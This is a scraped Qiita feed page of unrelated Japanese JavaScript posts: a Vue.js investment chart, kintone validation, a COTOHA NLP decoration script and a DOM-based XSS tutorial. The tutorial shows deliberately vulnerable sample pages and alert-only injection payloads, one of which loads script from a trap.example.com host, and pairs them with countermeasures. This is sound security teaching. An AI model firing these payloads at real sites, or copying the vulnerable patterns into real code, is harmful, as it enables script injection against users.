          yearLabels.push(yyyy += 1)
          calcresult = (yearset + calcmath) * (1 + (this.interest / 100))
        }

        // data1 を追加
        principal = (yearset * i) / 10000
        dataset1.push(principal)
        // data2 を追加
        calcmath = Math.round(calcresult * 10) / 10
        resultset = Math.round( (calcmath / 10000) * 10) / 10
        dataset2.push(resultset)

        var num = resultset - principal
        var gain = Math.round(num * 10) / 10

        var tableset = {
          'No': i,
          '': yyyy,
          '元本': principal + '万円',
          '評価額': resultset + '万円',
          '利益': gain + '万円',
        }
        this.items.push(tableset)

      }

      // グラフにセットする
      this.datacollection = {
        labels: yearLabels,
        datasets: [
          {
            label: '元本',
            data: dataset1,
            backgroundColor: 'lightblue'
          },
          {
            label: '評価額',
            data: dataset2,
            borderColor: 'lightgreen',
            fill: false,
            type: 'line'
          }
        ]
      },
      this.options = {
        maintainAspectRatio: false,
        elements: {
          point: {
            radius: 5,      // 点の大きさ
            hoverRadius: 10 // 点の大きさ(マウスホバー時)
          }
        },
        scales: {
          yAxes: [
            {
              ticks: {
                suggestedMin: 0,
                stepSize: 10
              }
            }
          ]
        }
      }
    }
  }
}
</script>

Chart.js
import { Bar, mixins } from 'vue-chartjs'
const { reactiveProp } = mixins

export default {
  extends: Bar,
  mixins: [reactiveProp],
  props: ['options'],
  mounted () {
    // this.chartData is created in the mixin.
    // If you want to pass options please create a local options object
    this.renderChart(this.chartData, this.options)
  }
}

実践中!(暴落中!)

  • 2019年(=令和元年)より、投資信託に自動積立でスタートしています。
  • 2020年2月末現在、元本:15,000円×14カ月=210,000円評価額:213,408円(+3,408円)(+約1.6%)となっています。
  • コロナショックにより暴落中ですが、かろうじてプラスです。(積立ては、こういうときによいですね。値動きについて一切気になりません)

test3.png

まとめ

  • Vue.jsで2軸グラフを作成しました。
  • 令和の時代が終わるとき(20年後?30年後?)に500円貯金(投資)がどのようになっているのか、とても楽しみです。

参考URL

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

kintoneで相対日付のバリデーションを行う

先日kintoneで宣言的にフィールド値の検証を行うという記事を投稿しました。Tynderというライブラリを使い、型宣言を書くことで、(手続き的ではなく)宣言的に入力値の検証を行いました。

今回はその応用編として、日付や日付時刻型のフィールドを相対日付(例えば、今月、来月、今年、今年度)で検証します。
さらに、フィールドのエラーに合ったカスタムエラーメッセージを表示するようにします。

kintone-custom-dt-validation.png

コード

// アプリのレコード型を定義します
// interfaceの各フィールドは、kintoneアプリのフィールドコードと一致させてください
const definition = `
/** サブテーブル */
interface Table {
    itemName: string;
    itemValue: number;
}

/** アプリ */
interface App {
    /** 名称 */
    @minLength(2) @maxLength(16)
    @match(/^[A-Z][0-9]{3}-.+/)
    name: string;

    /** 数量 (非必須) */
    amount?: number;

    /** 期日 */
    @stereotype('lcdate') // ローカルタイムゾーン日付
    @range('=today first-date-of-mo', '=today last-date-of-mo')
    @msg({
        valueRangeUnmatched: '当月の日付を入力してください',
    })
    dueDate: string;

    /** 最終接点日時 */
    @stereotype('lcdatetime') // ローカルタイムゾーン日付時刻
    @minValue('=today first-date-of-mo') @lessThan('=today last-date-of-mo +1day')
    @msg({
        valueRangeUnmatched: '当月の日付時刻を入力してください',
    })
    contactDt: string;

    /** サブテーブル */
    table: Table[];
}
`;

// イベントハンドラ
kintone.events.on([
    'app.record.create.submit',
    'mobile.app.record.create.submit',
    'app.record.edit.submit',
    'mobile.app.record.edit.submit',
    'app.record.index.edit.submit',
    ], function(event) {
    event.record = removeBlankTableRow(event.record, 'table');

    // スキーマ検証を行います
    const schema = tynder.compile(definition);
    const ctx = {
        checkAll: true,
        schema,
        stereotypes: new Map(tynder.stereotypes),
        // 共通のカスタムエラーメッセージ
        errorMessages: {
            required:             '必須です',
            valueLengthUnmatched: '値は%{minLength}から%{maxLength}の長さで入れてください',
            valueRangeUnmatched:  '値は%{minValue}から%{maxValue}の間で入れてください',
            typeUnmatched:        '値の形式が間違っています',
        },
    };

    const unknownInput = mapRecord(event.record);
    const validated = tynder.validate(unknownInput, tynder.getType(schema, 'App'), ctx);
    if (! validated) {
        const errText = JSON.stringify(ctx.errors, null, 2);
        console.error(errText);

        // エラーを表示します
        displayValidationErrorMessages(event, ctx);
    }
    return event;
});

日付時刻数式

  • 今月(日付)
    • @range('=today first-date-of-mo', '=today last-date-of-mo')
  • 今月(日付時刻)
    • @minValue('=today first-date-of-mo') @lessThan('=today last-date-of-mo +1day')
  • 来月(日付)
    • @range('=today first-date-of-mo +1mo', '=today @1day +1mo last-date-of-mo')
  • 来月(日付時刻)
    • @minValue('=today first-date-of-mo +1mo') @lessThan('=today @1day +1mo last-date-of-mo +1day')
  • 今年(日付)
    • @range('=today first-date-of-yr', '=today last-date-of-yr')
  • 今年(日付時刻)
    • @minValue('=today first-date-of-yr') @lessThan('=today last-date-of-yr +1day')
  • 来年(日付)
    • @range('=today first-date-of-yr +1yr', '=today @1day +1yr last-date-of-yr')
  • 来年(日付時刻)
    • @minValue('=today first-date-of-yr +1yr') @lessThan('=today @1day +1yr last-date-of-yr +1day')
  • 今年度(date)
    • @range('=today first-date-of-fy(4)', '=today first-date-of-fy(4) +1yr -1day')
      • 4月始まり
  • 今年度(datetime)
    • @minValue('=today first-date-of-fy(4)') @lessThan('=today first-date-of-fy(4) +1yr')
      • 4月始まり
  • 来年度(日付)
    • @range('=today first-date-of-fy(4) +1yr', '=today first-date-of-fy(4) +2yr -1day')
      • 4月始まり
  • 来年度(日付時刻)
    • @minValue('=today first-date-of-fy(4) +1yr') @lessThan('=today first-date-of-fy(4) +2yr')
      • 4月始まり

詳しくは https://github.com/shellyln/tynder#date--datetime-stereotypes を参照してください。

型宣言のテストについて

記述した型宣言が文法的に正しいかどうかは以下のサイトで確認できます。
https://shellyln.github.io/tynder/playground2.html

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

JavaScriptの問題 「DOM Based Xss / Webストレージの不適切な使用」

JavaScriptにまつわる脆弱性について。
「DOM Based Xss」と「Webストレージの不適切な使用」について記載する。

JavaScript | MDN

DOM Based Xs

  1. 概要
  2. 攻撃手法と影響
  3. 脆弱性が生まれる原因
  4. 対策

DOM Based XSS - IPA
第6回 DOM-based XSS その1:JavaScriptセキュリティの基礎知識|gihyo.jp … 技術評論社

概要

JavaScriptが原因で発生するXXSをDOM Based Xssと呼んでいる。
XXSはサーバ側のプログラムの不備が原因で発生するが、クライアントサイドで動作するJavaScriptの記述の不備で発生するケースもある。
このケースがDOM Based Xssに該当する。

攻撃手法と影響

影響

通常のXSSと同じ。具体的な被害としてはフィッシング詐欺、セッションハイジャック、ウェブサイトの改ざんなど。

  • クッキー値の盗み出し
  • その他のJavaScriptによる攻撃
  • 画像の書き換え

攻撃手法

  • innerHTMLプロパティ
  • document.writeメソッド
  • XMLHttpRequest
  • jQueryのセレクタの動的生成
  • JavaScriptスキーム

innerHTMLプロパティ

URLの#以降を取得しinnerHTMLプロパティを使用して表示内容を変更するscriptを記述した、以下のhtmlファイルを参考に検証する。
element.innerHTML - Web API | MDN

4h-001.html
<body>
<script>
window.addEventListener("hashchange", chghash, false);
window.addEventListener("load", chghash, false);

function chghash() {
  var hash = window.location.hash;
  var color = document.getElementById("color");
  color.innerHTML = decodeURIComponent(window.location.hash.slice(1));
}
</script>
<a href="#赤"></a>
<a href="#緑"></a>
<a href="#青"></a>
<p id="color"></p>
</body>

攻撃はURLの#以降に下記を指定。

<img src=/ onerror=alert(1)>

結果はalertダイアログが表示される。
このことから外部から指定したスクリプトが実行され、脆弱性が混入していることが分かる。
jQueryのhtml()メソッドを使用している場合でも同様の結果になる。

document.writeメソッド

document.writeメソッドも外部からの入力値でJavaScriptを生成される可能性がある処理の1つである。
URLをデコードし、パラメータに追加して表示内容を変更するscriptを記述した、以下のhtmlファイルを参考に検証する。
XMLHttpRequest - Web API | MDN

4h-002.html
<body>
アクセス解析サンプル
<script>
var url = decodeURIComponent(location.href);
document.write('<img src="http://api.example.net/4h/4h-003.php?' + url + '">');
</script>
</body>

攻撃はURLの#以降に下記を指定。

"><script>alert(document.domain)</script>

結果はalertダイアログが表示される。
innerHTMLと違いscript要素のJavaScriptが実行される。

XMLHttpRequest

フラグメント識別子(アンカー)をトリガーにブラウザ上でサーバーとHTTP通信を行う際に検証を行わないと、外部のURLを指定しDOM Based Xssが発生する。
ウインドウのハッシュが変更されるかウインドウが読み込まれた際にXMLHttpRequestを使用、URLの#以降を取得し表示内容を変更するscriptを記述した、以下のhtmlファイルを参考に検証する。

Document.write() - Web API | MDN

4h-004.html
<body>
<script>
window.addEventListener("hashchange", cxhash, false);
window.addEventListener("load", cxhash, false);

function cxhash() {
  var req = new XMLHttpRequest();
  var url = location.hash.slice(1) + '.html';
  if (url === '.html') url = 'menu_a.html';
  req.open("GET", url);
  req.onreadystatechange = function() {
    if (req.readyState == 4 && req.status == 200) {
      var div = document.getElementById("content");
      div.innerHTML = req.responseText;
    }
  };
  req.send(null);
}
</script>
<a href="#menu_a">A</a>
<a href="#menu_b">B</a>
<a href="#menu_c">C</a>
<a href="#menu_d">D</a>
<div id="content"></div>
</body>

攻撃はURLの#以降に下記を指定。

//trap.example.com/4h/4h-900.php?

結果はalertダイアログが表示される。
CORSによりこのhtmlファイルのオリジンからのXMLHttpRequestのアクセスに対して4h-900.phpの内容が読み込まれ、JavaScriptが実行される。

jQueryのセレクタの動的生成

セレクタと呼ばれるjQueryの機能の不適切な利用でXSSが発生する
URLのパラメータを変更するとラジオボタンの状態を変更されるscriptを記述した以下のhtmlファイルを参考に検証する。

4h-005.html
<body>
<script src="../js/jquery-1.8.3.js"></script>
<script src="../js/URI.min.js"></script>

<form id="form1">
<input type="radio" name="color" value="1"><br>
<input type="radio" name="color" value="2"><br>
<input type="radio" name="color" value="3"><br>
</form>
<script>
var uri = new URI();
var color = uri.query(true).color;
if (! color) color = "1";

$('input[name="color"][value="' + color + '"]').attr("checked", true);
</script>
</body>

攻撃はURLの#以降に下記を指定。

"]<img+src=/+onerror=alert(1)>

結果はalertダイアログが表示される。
新たにimgタグが作成され、onerrorイベントのJavaScriptが実行される。

JavaScripスキーム

JavaScriptのlocation.hrefにもXSS脆弱性が存在する。
ボタンを押すとJavaScriptで処理を実行し、フラグメント識別子で指定されたURLにリダイレクトするscriptを記述した以下のhtmlファイルを参考に検証する。

4h-006.html
<body>
処理を行います <input type="button" value="実行" onclick="go()">
<script>
function go() {
  // 様々な処理
  var url = location.hash.slice(1);
  location.href = url;
}
</script>
</body>

攻撃はURLの#以降に下記を指定。

javascript:alert(document.domain)

結果はalertダイアログが表示される。
location.hrefに任意の文字列を設定できるとXSSの原因となる。

脆弱性が生まれる原因

  • DOM操作の際に外部から指定されたHTMLタグなどが有効になってしまう機能を用いている
  • eval
  • XMLHttpRequestのURLが未検証
  • location.hrefやsrc属性、href属性のURLが未検証
  • document.write() / document.writeln()
  • innreHTML / outerHTML
  • jQueryのhtml() / jQuery(), $() etc...

対策

外部から指定した文字列をHTMLタグではなく、ただの文字として表示する。

  • 適切なDOM操作、記号のエスケープ
  • eval、setTimeout、Functionコンストラクタなどの引数に文字列形式で外部からの値を渡さない。
  • URLのスキームをhttpかhttpsに限定
  • jQueryのセレクタは動的生成しない
  • 最新のライブラリを用いる
  • XMLHttpRequestのURLを検証する

適切なDOM操作、記号のエスケープ

要素を追加する際はinnerHTMLやdocument.writeの使用を避け、textContentプロパティを使用する。
※textContentプロパティはHTMLタグを文字として表示する。
Node.textContent - Web API | MDN
また、HTMLエスケープ(記号を特殊文字に変換)も対策となる。

eval、setTimeout、Functionコンストラクタなどの引数に文字列形式で外部からの値を渡さない。

evalやFunctionコンストラクタは危険なのでそもそもの使用を避ける。
setTimeoutやsetIntervalの場合は文字列の代わりに関数リテラルやクロージャを使用する。

URLのスキームをhttpかhttpsに限定

スキームがhttpかhttpsであることを確認するためのscriptを記述する。

jQueryのセレクタは動的生成しない

$()の引数は原則として動的生成せず、findメソッドで代用する。

最新のライブラリを用いる

新しいjQueryを使用するだけでDOM Based Xssを防げる。

XMLHttpRequestのURLを検証する

URLを外部から指定できないようにする。

Webストレージの不適切な使用

  1. Webストレージとは
  2. Webストレージには何を保存してよいか
  3. Webストレージの不適切な利用例

Web Storage API | MDN

Webストレージとは

WebストレージはJavaScriptから書き込み、読み出し、削除ができるだけでサーバへの送信は自動的に行われない。
WebストレージにはlocalStorageとsessionStorageの2種類がある。localStorageは永続的なストレージ、sessionStorageはブラウザのタブが開いている間だけ保持されるストレージ。

Webストレージには何を保存してよいか

Webストレージの内容はXSSにより漏洩しやすいため、重要な情報(パスワード、個人情報)は保存しない。
重要な情報は必要なたびにサーバに問い合わせるようにする。

Webストレージの不適切な利用例

  • Webストレージに秘密情報を保存していた
  • Webストレージに保存した情報が、XXSなどにより漏洩する
  • WebストレージがXSS経由で改ざんされる
  • Webストレージを経由したDOM Based XSS
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

初心者によるプログラミング学習ログ 254日目

100日チャレンジの254日目

twitterの100日チャレンジ#タグ、#100DaysOfCode実施中です。
すでに100日超えましたが、継続。
100日チャレンジは、ぱぺまぺの中ではプログラミングに限らず継続学習のために使っています。
254日目は、

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Best 65+ Informatica Interview Question and Answers in 2020

Here, is the list of mostly asked Informatica Interview Questions and this list includes two types of questions- scenario-based Informatica questions and advanced Informatica questions. Nevertheless, all these questions are suitable for beginners, intermediates, or advanced Informatica learners to crack the job interview.

click here to read more
https://www.positronx.io/best-informatica-interview-question-and-answers/

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

キラやば~っ☆ な「COTOHA DECO」作っちゃった!?よーしっ、さっそくQiitaへ投稿だーっ☆

わたし、《ことは ひかる》!
CSSとJavaScriptがだ~いすきなエンジニア。

ある日、Qiitaを眺めながらCSSを書いてたら、突然、 謎のプラットフォーム を使った キャンペーンに出会ったのっ!

…これを使えば、「自然言語処理」 できるの!?キラやば~っ☆

Qiitaではフロントエンドエンジニアたちが、おしゃれな記事を書いて共有しているらしいのだけど…

あるとき、目的をはき違えた センスのかけらもない記事 が、Qiitaに投稿されてしまったの!

「CSSの表現力をもっと伝えたい」そう強く思った瞬間、 《構文解析》 を諦めて、 《要約(β)》《感情分析》《キーワード抽出》《固有表現抽出》 の結果を使って、
文字列が長いほうから、タグ付けきの文字列に置換して、キラキラなCSSを書いていったら、
わたし、「COTOHA DECO」作っちゃった!?

よーしっ、さっそくQiitaへ投稿だーっ☆

このスクリプトの実行結果が、次のCodePenのHTMLだよっ☆
const request = require('request');
const fs = require('fs');

// flat Polyfill
if (!Array.prototype.flat) {
  Array.prototype.flat = function(depth) {
    var flattend = [];
    (function flat(array, depth) {
      for (let el of array) {
        if (Array.isArray(el) && depth > 0) {
          flat(el, depth - 1); 
        } else {
          flattend.push(el);
        }
      }
    })(this, Math.floor(depth) || 1);
    return flattend;
  };
}

const DEVELOPER_API_BASE_URL   = "https://api.ce-cotoha.com/api/dev/";
const ACCESS_TOKEN_PUBLISH_URL = "https://api.ce-cotoha.com/v1/oauth/accesstokens";
const CLIENT_ID     = "ココニアイデイカク";
const CLIENT_SECRET = "ココニシークレットカク";

const main = async () => {
  let accessToken = await getAccessToken();
  await cotohaMultiParse(accessToken, 'star');
}

const cotohaMultiParse = async (accessToken, folderName) => {
  console.log(`■${folderName} のフォルダに対する処理を実施します。`);
//  let document = fs.readFileSync(`${folderName}/00_raw.txt`, 'utf-8');
  let document = `
わたし、《星奈ひかる》!
宇宙と星座がだ~いすきな中学2年生。

星空を観察しながらノートに星座を描いていたら
とつぜん謎の生物《フワ》がワープしてきたのっ!
それから、空からロケットが落ちてきて、
宇宙人の《ララ》と《プルンス》までやってきた!
…あなたたち、ホンモノの宇宙人!?キラやば~っ☆

地球から遠くとおく離れた《星空界》の
中心部にある聖域《スターパレス》では
《12星座のスタープリンセスたち》が
全宇宙の均衡を保っていたらしいのだけど…
あるとき何者かに襲われて、プリンセスたちは
《12本のプリンセススターカラーペン》になって
宇宙に散らばってしまったの!
このままじゃ星が消えて、地球も宇宙も、闇に飲み込まれちゃう…!

『星々の輝きが失われし時、
トゥインクルブックと共に現る戦士プリキュアが再びの輝きを取り戻す』
ララ達は宇宙に古くから伝わる伝説を頼りに
プリンセスが最後に生み出した希望・フワと一緒に
《伝説の戦士・プリキュア》を探していたんだって。

そこへ宇宙の支配を目論むノットレイダーがフワを狙って襲いかかってきて…
「フワを助けたい!」そう強く思った瞬間、《トゥインクルブック》から
《スターカラーペンダント》と《変身スターカラーペン》が現れて、
わたし、プリキュアに変身しちゃった!?

宇宙に散らばったプリンセススターカラーペンを集めて、
スタープリンセス復活の鍵となるフワを育てなきゃ!
よーしっ、地球を飛び出して宇宙へ出発だーっ☆
`

  let summary = await getSummary(accessToken, folderName,document.replace(/\n/g, ""), 3); // 改行を文区切り扱いするため。
  let summaries = summary.split('').filter(s =>s.length > 0);
  let ne = await getNe(accessToken, folderName, document);
  let keyword = await getKeyword(accessToken, folderName, document);
  let sentiment = await getSentiment(accessToken, folderName, document);
  // apiの結果は主に全角なため、置換を繰り返してタグをつけても問題ない前提(ちゃんとやる場合も、事前処理や全角/半角を工夫して利用すれば処理できるか)
  // キーワードは長いものから処理をしないと、置換したタグで分割されてしまうことに注意
  const getStarTag = form => {
    let num = Math.floor((form.length - 2) / 2) + 1;
    let ret = []
    for (let i = 0; i < num; i++) {
      let animeRotate = `anime-rotate-${Math.floor(Math.random() * 3) + 1}-${Math.floor(Math.random() * 3) + 1}`;
      let color = `color${Math.floor(Math.random() * 4) + 1}`;
      ret.push(`<span class="star" style="left: ${((i * 2)+ (Math.random() * 1.4) - 0.8).toFixed(3)}em; top: ${((Math.random() * 1.2) - 0.6).toFixed(3)}em;"><span class="star-base bk"><span class="star-raw bk ${animeRotate} ${color}"></span></span><span class="star-base"><span class="star-raw ${animeRotate} ${color}"></span></span></span>`);
    }
    return ret.join('');
  }
  const getKiraTag = form => {
    let num = form.length;
    let ret = []
    for (let i = 0; i < num; i++) {
      let animeFlash = `anime-flash-${Math.floor(Math.random() * 4) + 1}-${Math.floor(Math.random() * 3) + 1}`;
      ret.push(`<span class="kira" style="left: ${((i)+ (Math.random() * 1.6) - 0.8).toFixed(3)}em; top: ${((Math.random() * 1.8) - 0.9).toFixed(3)}em;"><span class="kira-raw-1 ${animeFlash}"></span><span class="kira-raw-2 ${animeFlash}"></span></span>`);
    }
    return ret.join('');
  }
  let kira = ``
  let total = [
    summaries.map( s => { return { form: s, after: `<span class="summary">${s}</span>` } }),
    ne.map( n => { return { form: n.form, after: `<span class="ne ne-${n.class}">${n.form}</span>` } }),
    keyword.map( k => { return { form: k.form, after: `<span class="keyword" data-score="${k.score}">${getStarTag(k.form)}${k.form}</span>` } }),
    sentiment.emotional_phrase.filter(s => s.emotion === 'P' || s.emotion === 'PN' || s.emotion === '喜ぶ').map( e => { return { form: e.form, after: `<span class="emotion">${getKiraTag(e.form)}${e.form}</span>` } }),
  ].flat().sort( (a, b) => b.form.length - a.form.length );
  total.forEach( s => {
    document = document.replace(new RegExp(s.form, 'gi'), s.after)
  });
  console.log(document)
  document = document.split('\n').map(d => d.length > 0 ? `<div><span class="sentence">${d}</span></div>` : '<br/>').join('');
  // hmlt作成処理
  fs.writeFileSync(`${folderName}/${folderName}.html`, `
<html>
  <head>
    <meta charset="UTF-8">
    <title>${folderName}</title>
    <style>
      body {
        background: repeating-linear-gradient(38deg, rgb(255, 174, 201, 0.4), rgb(255, 174, 201, 0.4) 24px, rgb(255, 64, 128, 0.4) 24px, rgb(255, 64, 128, 0.4) 48px);
        font-family:"ヒラギノ丸ゴ Pro W4","ヒラギノ丸ゴ Pro","Hiragino Maru Gothic Pro","ヒラギノ角ゴ Pro W3","Hiragino Kaku Gothic Pro","HG丸ゴシックM-PRO","HGMaruGothicMPRO";
        line-height: 2.2em
      }
      div {
        text-align:center
      }
      br{
        line-height: 1em;
      }
      span.sentence {
        background: linear-gradient(transparent, rgb(255, 255, 255, 0.4) 16%, rgb(255, 255, 255, 0.5) 50%, rgb(255, 255, 255, 0.4) 16%, transparent);
        padding: 8px 8px;
        border-radius: 16px;
        z-index: 100;
      }
      .summary {
        font-size: 1.6em;
        background: linear-gradient(transparent, rgb(255, 255, 255, 0.4) 20%, rgb(255, 255, 255, 0.5) 50%, rgb(255, 255, 255, 0.4) 80%, transparent);
        margin: 0px -8px;
        padding: 8px 8px;
        border-radius: 4px;
      }
      .ne {
        font-weight: bold;
        color: rgb(255, 83, 169);
      }
      .keyword {
        position: relative;
      }
      .emotion {
        position: relative;
      }
      .ne {
        position: relative;
      }
.star {
  position: absolute;
}
.star-base {
  top: 2px;
  left: 3px;
  height: 16px;
  width: 16px;
  position: absolute;
  overflow:hidden;
  border-radius: 8px;
}
.star-base.bk {
  top: 0px;
  left: 0px;
  height: 21px;
  width: 21px;
  border-radius: 10px;
}
.star-raw {
  margin: 10px;
    border-left: 10px solid transparent;
    border-right: 10px solid transparent;
    display: block;
    height: 0;
    width: 0;
    position: absolute;
    left: -12px;
    top: -6px;
    z-index: -1;
}
.star-raw.color1 {
    border-bottom: 7px solid rgba(251, 176, 4, 1);
}
.star-raw.color2 {
    border-bottom: 7px solid rgba(5, 186, 159, 1);
}
.star-raw.color3 {
    border-bottom: 7px solid rgba(33, 138, 254, 1);
}
.star-raw.color4 {
    border-bottom: 7px solid rgba(255, 45, 150, 1);
}
.star-raw:before,
.star-raw:after {
    border-left: 10px solid transparent;
    border-right: 10px solid transparent;
    content: '';
    display: block;
    height: 0;
    left: -10px;
    position: absolute;
    top: 0;
    width: 0;
    z-index: -1;
}
.star-raw.color1:before,
.star-raw.color1:after {
    border-bottom: 7px solid rgba(251, 176, 4, 1);
}
.star-raw.color2:before,
.star-raw.color2:after {
    border-bottom: 7px solid rgba(5, 186, 159, 1);
}
.star-raw.color3:before,
.star-raw.color3:after {
    border-bottom: 7px solid rgba(33, 138, 254, 1);
}
.star-raw.color4:before,
.star-raw.color4:after {
    border-bottom: 7px solid rgba(255, 45, 150, 1);
}

.star-raw:before {
    transform: rotate(71deg);
}
.star-raw:after {
    transform: rotate(-71deg);
}

.star-raw.bk {
  margin: 12px;
    border-left: 13px solid transparent;
    border-right: 13px solid transparent;
    border-bottom: 10px solid rgba(255, 233, 182, 0.4);
    left: -14px;
    top: -8px;
}
.star-raw.bk:before,
.star-raw.bk:after {
    border-left: 13px solid transparent;
    border-right: 13px solid transparent;
    border-bottom: 10px solid rgba(255, 233, 182, 0.4);
    left: -12px;
}

.anime-rotate-1-1 {
  animation: anime-rotate-1 7s linear infinite
}

.anime-rotate-1-2 {
  animation: anime-rotate-1 10s linear infinite
}

.anime-rotate-1-3 {
  animation: anime-rotate-1 30s linear infinite
}

.anime-rotate-2-1 {
  animation: anime-rotate-2 7s linear infinite
}

.anime-rotate-2-2 {
  animation: anime-rotate-2 10s linear infinite
}

.anime-rotate-2-3 {
  animation: anime-rotate-2 30s linear infinite
}

.anime-rotate-3-1 {
  animation: anime-rotate-3 7s linear infinite
}

.anime-rotate-3-2 {
  animation: anime-rotate-3 10s linear infinite
}

.anime-rotate-3-3 {
  animation: anime-rotate-3 30s linear infinite
}

@keyframes anime-rotate-1 {
    0%   { transform: rotate(35deg);}
    50%  { transform: rotate(125deg);}
    100% { transform: rotate(35deg);}
}

@keyframes anime-rotate-2 {
    0%   { transform: rotate(45deg);}
    50%  { transform: rotate(105deg);}
    100% { transform: rotate(45deg);}
}

@keyframes anime-rotate-3 {
    0%   { transform: rotate(55deg);}
    50%  { transform: rotate(175deg);}
    100% { transform: rotate(55deg);}
}

.anime-flash-1-1 {
  animation: anime-flash-1 3s linear infinite
}

.anime-flash-1-2 {
  animation: anime-flash-1 5s linear infinite
}

.anime-flash-1-3 {
  animation: anime-flash-1 10s linear infinite
}

.anime-flash-2-1 {
  animation: anime-flash-2 3s linear infinite
}

.anime-flash-2-2 {
  animation: anime-flash-2 5s linear infinite
}

.anime-flash-2-3 {
  animation: anime-flash-2 10s linear infinite
}

.anime-flash-3-1 {
  animation: anime-flash-3 3s linear infinite
}

.anime-flash-3-2 {
  animation: anime-flash-3 5s linear infinite
}

.anime-flash-3-3 {
  animation: anime-flash-4 10s linear infinite
}

.anime-flash-4-1 {
  animation: anime-flash-4 3s linear infinite
}

.anime-flash-4-2 {
  animation: anime-flash-4 50s linear infinite
}

.anime-flash-4-3 {
  animation: anime-flash-4 10s linear infinite
}
@keyframes anime-flash-1 {
    0%   { opacity: 1;}
    10%   { opacity: 0.2;}
    90%  { opacity: 0.2;}
    100% { opacity: 1;}
}

@keyframes anime-flash-2 {
    0%   { opacity: 0.2;}
    20%  { opacity: 1;}
    40% { opacity: 0.2;}
    100% { opacity: 0.2;}
}

@keyframes anime-flash-3 {
    0%   { opacity: 0.2;}
    45%  { opacity: 0.2;}
    75% { opacity: 1;}
    95% { opacity: 0.2;}
    100% { opacity: 0.2;}
}

@keyframes anime-flash-4 {
    0%   { opacity: 0.2;}
    40%   { opacity: 0.2;}
    50%  { opacity: 1;}
    60%  { opacity: 0.2;}
    100% { opacity: 0.2;}
}

.kira {
  position: absolute;
}
.kira-raw-1 {
  margin: 10px;
    display: block;
    height: 0;
    width: 0;
    position: absolute;
    left: 0;
    top: 0;
    z-index: -1;
}
.kira-raw-1:before,
.kira-raw-1:after {
    border-left: 2px solid transparent;
    border-right: 2px solid transparent;
    border-bottom: 10px solid rgba(255, 255, 0, 1);
    content: '';
    display: block;
    height: 0;
    left: -2px;
    position: absolute;
    width: 0;
    z-index: -1;
}
.kira-raw-1:after {
    top: 10px;
    transform: rotate(180deg);
}
.kira-raw-2 {
  margin: 10px;
    display: block;
    height: 0;
    width: 0;
    position: absolute;
    left: 0;
    top: 0;
    z-index: -1;
}
.kira-raw-2:before,
.kira-raw-2:after {
    border-right:8px solid rgba(255, 255, 0, 1);
    border-top: 2px solid transparent;
    border-bottom: 2px solid transparent;
    content: '';
    display: block;
    height: 0;
    left: -8px;
    top: 8px;
    position: absolute;
    width: 0;
    z-index: -1;
}
.kira-raw-2:after {
    left: 0px;
    transform: rotate(180deg);
}
    </style>
  </head>
  <body>
    <div class="background"></div>
      ${document}

  </body>
</html>
`);
  return document;
}

const getAccessToken = () => {
  return new Promise((resolve, reject) => {
    request(
      {
        url: ACCESS_TOKEN_PUBLISH_URL,
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        json: {
          grantType: "client_credentials",
          clientId: CLIENT_ID,
          clientSecret: CLIENT_SECRET,
        },
      },
      (error, response, body) => {
        if (!error && (response.statusCode === 200 || response.statusCode === 201)) {
          if (typeof body !== 'object') body = JSON.parse(body);
          resolve(body.access_token);
        } else {
          if (error) {
            console.log(`request fail. error: ${error}`);
          } else {
            console.log(`request fail. response.statusCode: ${response.statusCode}, ${body}`);
          }
          reject(body);
        }
      },
    );
  });
}

const getCommonRequest = (url ,fileName, getRequestJsonFunc) => (accessToken, folderName, document) => {
  let promise;
  promise = new Promise((resolve, reject) => {
    let filePath = `${folderName}/${fileName}`;
    if (fs.existsSync(filePath)) {
      resolve(JSON.parse(fs.readFileSync(filePath, 'utf-8')));
    } else {
      request(
        {
          url: `${DEVELOPER_API_BASE_URL}${url}`,
          method: 'POST',
          headers: { 'Content-Type': 'application/json;charset=UTF-8', Authorization: `Bearer ${accessToken}`},
          json: getRequestJsonFunc(document),
        },
        (error, response, body) => {
          if (!error && (response.statusCode === 200 || response.statusCode === 201)) {
            if (typeof body !== 'object') body = JSON.parse(body);
            if (body.status === 0) {
              fs.writeFileSync(`${filePath}`, JSON.stringify(body.result, null, '  '));
              resolve(body.result);
            } else {
              console.log(`request coreference fail. error: ${body.message}`);
              reject(body);
            }
          } else {
            if (error) {
              console.log(`request ${url} fail. error: ${error}`);
            } else {
              msg = (typeof body !== 'object') ? body : JSON.stringify(body);
              console.log(`request ${url} fail. response.statusCode: ${response.statusCode}, ${msg}`);
            }
            reject(body);
          }
        }
      );
    } 
  });
  return promise;

}

const getNe = (accessToken, folderName, document) => {
  return getCommonRequest('nlp/v1/ne', '20_ne_raw.json', document => {
    return { sentence: document };
  })(accessToken, folderName, document);
}

const getKeyword = (accessToken, folderName, document) => {
  return getCommonRequest('nlp/v1/keyword', '50_keyword_raw.json', document => {
    return {
      document: document,
      max_keyword_num: 8,
    };
  })(accessToken, folderName, document);
}

const getSentiment = (accessToken, folderName, document) => {
  return getCommonRequest('nlp/v1/sentiment', '60_sentiment_raw.json', document => {
    return { sentence: document };
  })(accessToken, folderName, document);
}

const get3Summary = async (accessToken, folderName, document) => {
  let summary1 = await getSummary(accessToken, folderName, document, 1);
  let summary2 = await getSummary(accessToken, folderName, document, 2);
  let summary3 = await getSummary(accessToken, folderName, document, 3);
  let summary2Part = summary2.replace(summary1, '');
  let summary2Array = summary2Part.split('').filter(v => v.length > 0).map(v => v + '');
  let summary3Part = summary3.replace(summary1, '');
  summary2Array.forEach(s => {
    summary3Part = summary3Part.replace(s, '');
  });
  let summary3Array = summary3Part.split('').filter(v => v.length > 0).map(v => v + '');
  // summary1と、summary2とsummary3は。で区切られた、1文、2文、3文にはなっているが、
  // summary2にsummary1が含まれないこともある。
  return [ [ { form: summary1, sent_len: 1 } ] , summary2Array.map(s => { return { form: s, sent_len: 2}; } ), summary3Array.map(s => { return { form: s, sent_len: 3}; } )].flat();
}

const getSummary = (accessToken, folderName, document, i) => {
  return getCommonRequest('nlp/beta/summary', `40_summary_${i}_raw.json`, document => {
    return {
      document: document,
      sent_len: i,
    };
  })(accessToken, folderName, document);
}

main();

See the Pen NWqaGWe by j5c8k6m8 (@j5c8k6m8) on CodePen.

参考リンク

